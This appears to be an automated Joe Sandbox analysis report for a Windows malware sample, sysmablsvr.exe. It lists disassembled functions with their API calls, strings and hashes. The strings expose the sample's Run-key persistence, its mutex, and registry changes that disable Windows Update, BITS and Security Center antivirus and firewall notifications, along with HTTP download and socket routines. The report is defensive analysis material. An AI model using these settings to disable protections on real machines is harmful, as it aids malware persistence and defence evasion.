Instruction Fuzzy Hash: 8C31E172200215ABC710AFB5ED8CAD7B7A8FF54324F00463EF55AD3280DB79A8448B99

Function 00406400 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040640B
CoCreateInstance.OLE32(00412A48,00000000,00000001,00412A28,?), ref: 00406423
wsprintfW.USER32 ref: 00406456

Strings

Gh@, xrefs: 00406472, 00406475
%comspec%, xrefs: 0040645F
/c start %s & start %s\VolDrvConfig.exe, xrefs: 0040644A

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %comspec%$/c start %s & start %s\VolDrvConfig.exe$Gh@
API String ID: 2038452267-1238916929
Opcode ID: aaa96ca59010518e18a87943b9af67a6363d673d16705643510165f5408d9052
Instruction ID: 7d2455aabe9eb384640674d95cb3f7402ea72c7f03b095a020dcafb7bbec31f6
Opcode Fuzzy Hash: aaa96ca59010518e18a87943b9af67a6363d673d16705643510165f5408d9052
Instruction Fuzzy Hash: 8E31C975A40208EFCB04DF98D885EDEB7B5EF88704F108199F519A73A5CA74AE81CB54

Function 0040E811 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E88C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E8DB
SysFreeString.OLEAUT32(00000000), ref: 0040E8EF
SysFreeString.OLEAUT32(00000000), ref: 0040E907

Strings

device, xrefs: 0040E883
deviceType, xrefs: 0040E896

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 88b0517ec26916889f8b96c67c87da2334269be0de7e35ae2345a8a23bc4b222
Instruction ID: 0db10e415d6a1e8faee94fa1aa357f29b7cea0d9451b7bd8199af60d13ceb70c
Opcode Fuzzy Hash: 88b0517ec26916889f8b96c67c87da2334269be0de7e35ae2345a8a23bc4b222
Instruction Fuzzy Hash: 98312AB5E0020ADFCB14DF99D884BAFB7B5BF88304F108569E514B7390D778AA81CB94

Function 0040E6B1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E72C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E77B
SysFreeString.OLEAUT32(00000000), ref: 0040E78F
SysFreeString.OLEAUT32(00000000), ref: 0040E7A7

Strings

service, xrefs: 0040E723
serviceType, xrefs: 0040E736

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: f0bcedd38c1e30f619de3414b93aa3d94c9df312bc97db08d9b07421bf86f66e
Instruction ID: f860d819dcfac7245c0065b1f48ab1f28a181454cf029f87bdd60df825f867a0
Opcode Fuzzy Hash: f0bcedd38c1e30f619de3414b93aa3d94c9df312bc97db08d9b07421bf86f66e
Instruction Fuzzy Hash: B9311D74A0020A9FCB04CF99D884FEFB7B5BF88304F148969E514B7390D778AA85CB95

Function 00409440 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040944D
_aullshr.NTDLL ref: 0040945E
_allshl.NTDLL ref: 00409480
_aullshr.NTDLL ref: 0040949C
_allshl.NTDLL ref: 004094BE
_aullshr.NTDLL ref: 004094DA

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction ID: c7f26e6fe3f6e47823c68d9e93f939c843ab0f3ebbce24f5146439a699fa7f9b
Opcode Fuzzy Hash: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction Fuzzy Hash: CC114F326005186B8B10EF9EC44269ABBD6EF84360B15C136FC2CCF319D634D9414BD4

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: ce840b8076e102032727fd217b964f9416792ac0f183dc073a12a4941b732ffe
Instruction ID: 36d18bb318df5a029dedd03b2acd005dba350197efc47ce95ae0e9b03ff24c88
Opcode Fuzzy Hash: ce840b8076e102032727fd217b964f9416792ac0f183dc073a12a4941b732ffe
Instruction Fuzzy Hash: 7241A175604A01ABC714EB39D848797F3A4BF84314F14827EE82D933D1E739A855CB99

Function 00409020 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040902E
_allshl.NTDLL ref: 0040903D
_allshl.NTDLL ref: 0040904C
_allshl.NTDLL ref: 0040905B
_allshl.NTDLL ref: 0040906A

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction ID: 6393123168de4f4826dca7712cb04f948d5e4027293efa58ed578d500b7b4a08
Opcode Fuzzy Hash: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction Fuzzy Hash: DDF03172901428AB9750EEFF84424CBF7E6AF9C368B219176FC18E3260E9709D0546F2

Function 00401330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 0040135C

Part of subcall function 0040A740: HeapFree.KERNEL32(00520000,00000000,00402612,?,00402612,?), ref: 0040A79B

Strings

pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: 6b6ea7fc194c066d272c2ceb60e6e8d4b7d6d70c2bd26222ba97c1c57b6b1a03
Instruction ID: d282b52b3110f6f030980250f42d45aa65f4851f6724e2164e4de9b2c85264d0
Opcode Fuzzy Hash: 6b6ea7fc194c066d272c2ceb60e6e8d4b7d6d70c2bd26222ba97c1c57b6b1a03
Instruction Fuzzy Hash: 6101D6765003009BCB20AF51ECC0E9B7779AF48311704467AFD04AB396C738E84187B9

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction ID: 85cdc4ac02e7a7d961e62fa06f42dc9c3305788cd6d7a2bd32de2e1c20a60a18
Opcode Fuzzy Hash: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction Fuzzy Hash: DD212F715083159BC200DF55D884D5BB7E8BFCCB54F044A2EF59493291D734EA49CBAA

Function 00407300 Relevance: 6.1, APIs: 4, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI(00000000,0000007C), ref: 00407326
DeleteUrlCacheEntry.WININET(00000000), ref: 00407348
Sleep.KERNEL32(000003E8), ref: 00407361
DeleteUrlCacheEntry.WININET(?), ref: 00407389

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CacheDeleteEntry$Sleep
String ID:
API String ID: 672405725-0
Opcode ID: e37e67c5e651afdd73fe97e6f1adc621bd3a80b28928a04f69d35c1e57e85d56
Instruction ID: 2037616d4c8183bc1dcd880db7f677971b3714fceeeaba453b7e7dde7ca31e21
Opcode Fuzzy Hash: e37e67c5e651afdd73fe97e6f1adc621bd3a80b28928a04f69d35c1e57e85d56
Instruction Fuzzy Hash: CC217F75E04208FBDB04DFA4D885B9EBB74AF45305F10C1B9ED016B391D679AA80DB49

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,?,00401FD3,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,?,00401FD3,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction ID: df3cbe2ca7d05c2b70b960210cdf5b20c1916dde76b22b2cec88194eea221140
Opcode Fuzzy Hash: 115ea0e646e0c4f71d919f36be7c9bac7cbabd22de7b6b0e5f0bd0a6bc0a71ea
Instruction Fuzzy Hash: 6A11AD72148305AFD310CF65EC84AEBB7ECEB88710F40492AF945D2140E679E94997B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction ID: 6027246a5f20d5291fae036152240cd5c1f9414458335baedc5b4335fd2ad738
Opcode Fuzzy Hash: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction Fuzzy Hash: 8F014F712483046EE7209B96DC88F9B77A8EBC4711F508429F608961C0D7B5A9459B79

Function 0040D9A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00520634), ref: 0040D9B9
CloseHandle.KERNEL32(00520638), ref: 0040D9E8
LeaveCriticalSection.KERNEL32(00520634), ref: 0040D9F7
DeleteCriticalSection.KERNEL32(00520634), ref: 0040DA04

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: ed15acf6120be580f2efb04119f98ac13af0f23ee5fa2c95d393dc01a9c3cf4d
Instruction ID: da3f5db6e059a7c592b49e611c360a1232ff957d222e4d531544d3c603d0b457
Opcode Fuzzy Hash: ed15acf6120be580f2efb04119f98ac13af0f23ee5fa2c95d393dc01a9c3cf4d
Instruction Fuzzy Hash: 2A1121B4E00208EBDB08DF94D984A9DB775FF44309F1081A9E806A7341D739EF95DB85

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 03c0a71711caba3423ec18258d7e67e7f1e7096498cee499a2df36c29d80c934
Instruction ID: 660f416c0ba452cd5c41a421238d9990710d8623252f526507a58679470d43f9
Opcode Fuzzy Hash: 03c0a71711caba3423ec18258d7e67e7f1e7096498cee499a2df36c29d80c934
Instruction Fuzzy Hash: 2301F27A242300AFC3209F26ED84A9B73F8AF85B11F00443EE546E3A50DB39E401CB28

Function 0040DF10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E150: memset.NTDLL ref: 0040E178
Part of subcall function 0040E150: InternetCrackUrlA.WININET(0040DC29,00000000,10000000,0000003C), ref: 0040E1C8
Part of subcall function 0040E150: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E1D8
Part of subcall function 0040E150: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E211
Part of subcall function 0040E150: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E247
Part of subcall function 0040E150: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E26F
Part of subcall function 0040E150: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E2B8
Part of subcall function 0040E150: InternetCloseHandle.WININET(00000000), ref: 0040E347

Part of subcall function 0040E040: SysAllocString.OLEAUT32(00000000), ref: 0040E06E
Part of subcall function 0040E040: CoCreateInstance.OLE32(00412A18,00000000,00004401,00412A08,00000000), ref: 0040E096
Part of subcall function 0040E040: SysFreeString.OLEAUT32(00000000), ref: 0040E131

SysFreeString.OLEAUT32(00000000), ref: 0040DFEB
SysFreeString.OLEAUT32(00000000), ref: 0040DFF5

Strings

%S%S, xrefs: 0040DFD6

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 8050ae28274428bf3bfa8973c943a31095365cba4dcb11065546cc064dfc1af3
Instruction ID: 0d7a9dfb02ef55e8037a527aa51067439edd5703c05fc0bf7ce6e387078fb77b
Opcode Fuzzy Hash: 8050ae28274428bf3bfa8973c943a31095365cba4dcb11065546cc064dfc1af3
Instruction Fuzzy Hash: 3E416BB5E002099FCB04DBE5C885AEFB7B4BF88304F108929E505B7391D778AA45CBA1

Function 00405E50 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004174D8,?,00000000,?), ref: 00405E5F
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405E9E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F13
LeaveCriticalSection.KERNEL32(004174D8), ref: 00405F30

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 4996b29259c9349675d46381685df80cb9fbc453c004c8ef9eea7ef5662ad9f1
Instruction ID: 40e991b6b4618cd04087b2a5cfa683f62b0bf83616b4f0bda180c9645beb9567
Opcode Fuzzy Hash: 4996b29259c9349675d46381685df80cb9fbc453c004c8ef9eea7ef5662ad9f1
Instruction Fuzzy Hash: C2218B70904208ABCB04DB94D885BDEBBB5EB94304F1481BAE845672C1C77CAA85CB9A

Analysis Process: sysmablsvr.exePID: 2148, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1476
Total number of Limit Nodes:	1

Executed Functions

Function 00407500 Relevance: 287.8, APIs: 108, Strings: 56, Instructions: 784
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 0040750E
CreateMutexA.KERNELBASE(00000000,00000000,55a4er5wo), ref: 0040751D
GetLastError.KERNEL32 ref: 00407529
ExitProcess.KERNEL32 ref: 00407538
GetModuleFileNameW.KERNEL32(00000000,00417B18,00000105), ref: 00407572
PathFindFileNameW.SHLWAPI(00417B18), ref: 0040757D
wsprintfW.USER32 ref: 0040759A
DeleteFileW.KERNEL32(?), ref: 004075AA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 004075C1
wcscmp.NTDLL ref: 004075D3
ExitProcess.KERNEL32 ref: 004075F2

Strings

DisableWindowsUpdateAccess, xrefs: 00407A1B
%s\tbtnds.dat, xrefs: 00407F1B
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407AF2
UpdatesDisableNotify, xrefs: 00407DBC
Start, xrefs: 00407931
%userprofile%, xrefs: 004075BC
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407834
SYSTEM\CurrentControlSet\Services\UsoSvc, xrefs: 004078C2
Start, xrefs: 004079CD
sysmablsvr.exe, xrefs: 004075C7, 0040760F, 004076E9, 004077DA
AntiVirusDisableNotify, xrefs: 00407E8A
%s:Zone.Identifier, xrefs: 0040758E
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 00407DE9
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407B9C
AntiVirusOverride, xrefs: 00407E6B
AntiSpywareOverride, xrefs: 00407D40
WindowsUpdate, xrefs: 00407A77
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407743
%s\%s, xrefs: 004077E6
FirewallOverride, xrefs: 00407D02
%s\%s, xrefs: 004076F5
%windir%, xrefs: 00407604
NoAutoUpdate, xrefs: 00407B13
WindowsUpdate, xrefs: 00407B6F
%temp%, xrefs: 004077CF
SOFTWARE\Microsoft\Security Center, xrefs: 00407CDD
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL, xrefs: 00407C8F
%s\tbtcmds.dat, xrefs: 00407F35
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407AA4
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 004079AC
AntiVirusOverride, xrefs: 00407D5F
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407B45
Start, xrefs: 0040797F
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 004079FA
Start, xrefs: 00407C62
Windows Settings, xrefs: 0040769C, 00407776, 00407867
FirewallDisableNotify, xrefs: 00407E2D
CheckedValue, xrefs: 00407CB0
SYSTEM\CurrentControlSet\Services\WaaSMedicSvc, xrefs: 00407910
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407C41
FirewallOverride, xrefs: 00407E0E
%s\%s, xrefs: 0040761B
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407669
UpdatesDisableNotify, xrefs: 00407EC8
55a4er5wo, xrefs: 00407514
NoAutoUpdate, xrefs: 00407C14
SYSTEM\CurrentControlSet\Services\DoSvc, xrefs: 0040795E
UpdatesOverride, xrefs: 00407EA9
UpdatesOverride, xrefs: 00407D9D
Start, xrefs: 004078E3
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407BF3
FirewallDisableNotify, xrefs: 00407D21
AntiSpywareOverride, xrefs: 00407E4C
AntiVirusDisableNotify, xrefs: 00407D7E
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407A4D
DisableWindowsUpdateAccess, xrefs: 00407AC5

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
